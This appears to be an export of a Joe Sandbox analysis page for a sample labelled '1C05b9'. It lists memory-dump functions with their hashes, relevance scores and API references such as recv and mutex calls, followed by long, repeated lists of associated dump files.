Source File: 00000004.00000002.2234883357.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f20000_1C05b9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd013b4e0e03c7b31fb0a5b61fad879219ad4c63fbfb266f07c6d4b16f311b5
Instruction ID: 140d6959599896937f126d3e0fc2259ab0b584f48fa76f5a72dd68513b79411f
Opcode Fuzzy Hash: 3cd013b4e0e03c7b31fb0a5b61fad879219ad4c63fbfb266f07c6d4b16f311b5
Instruction Fuzzy Hash: 08F0ECA764B230DED0D2014167547B17A21779373037045A7F54797281BD993A5AF131

Function 04F20D96 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2234883357.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f20000_1C05b9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6436569dac1dd7fc51e6d1d44f8c26c59b7f761ccb638061bc0d36b7ef076d7
Instruction ID: 8551a8f0accffc6b1c55c73f76db29b413a8da0cd2bd1b638dc826de94c20ab8
Opcode Fuzzy Hash: f6436569dac1dd7fc51e6d1d44f8c26c59b7f761ccb638061bc0d36b7ef076d7
Instruction Fuzzy Hash: 3BE02B9799B2708DC8A6455173483F26F2177427313704497E1878B247EED9795BE104

Function 04F20D54 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2234883357.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f20000_1C05b9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ad8a6290d5c15aae81fbca98f9e68d8c31d9cac7927512589711d6e25825fe
Instruction ID: 1b9339342ae48bad1b51b81ed4098ee0b74b69f3532e3988059ee886e37212c3
Opcode Fuzzy Hash: 30ad8a6290d5c15aae81fbca98f9e68d8c31d9cac7927512589711d6e25825fe
Instruction Fuzzy Hash: 3CE0269B94F2309DC092008227583B2AA2176D323037044A3F0439B382EDC93A0EB070

Non-executed Functions

Function 0065E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0065E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0065E140

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 128fbaf3e79c7f024d58900af2fa2c1a701807b59d3ae5e4c80d823a81f54469
Instruction ID: 0955fb576d56a468ae5dfc859f609c968d71282c9c930746aafba3c640ba2907
Opcode Fuzzy Hash: 128fbaf3e79c7f024d58900af2fa2c1a701807b59d3ae5e4c80d823a81f54469
Instruction Fuzzy Hash: 5331E9B29006449FDB24CB68CC81BEB77BEEB08734F001625F910E73D1C675A948CBA0

Function 0068A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: edff61b5840140169eae76e844bf49519c865db1181bcbe07f18524675bf1b7a
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 24E08C32921228EBCB14EFD8C90499AF7EDEB49B01B65019AF901D3250C270DF00C7D4

Function 0068CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0068CC66

Strings

vh, xrefs: 0068CBE1

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vh
API String ID: 3213747228-3728581510
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: fe6d98c549092f4fa220c858e2a3edded7231bde7c80a2afe9644c7fd7c9a67b
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: CAB128329046459FDB15EF28C881BFEBBE6EF45360F1442A9E855EB342D6349D02CBB4

Function 00652EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00652F5F
__Mtx_unlock.LIBCPMT ref: 00652FCC
__Cnd_broadcast.LIBCPMT ref: 00652FE3
__Mtx_unlock.LIBCPMT ref: 006530F5
__Mtx_unlock.LIBCPMT ref: 0065319B

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c6df6624782e090c889877462fcabf9a4526e2d1fa78db3e41b9e9fdf166975d
Instruction ID: e1127944055078ddcb710b970a884eeb44b1d4b3ff30977a67cc94ab5c8d86ed
Opcode Fuzzy Hash: c6df6624782e090c889877462fcabf9a4526e2d1fa78db3e41b9e9fdf166975d
Instruction Fuzzy Hash: CCA1D170A01B259FDB20DF75C9447AAB7AAFF15761F044129EC15D7381EB31EA08CB91

Function 0066BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0066BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0066BBE4
_xtime_get.LIBCPMT ref: 0066BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0066BC13

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
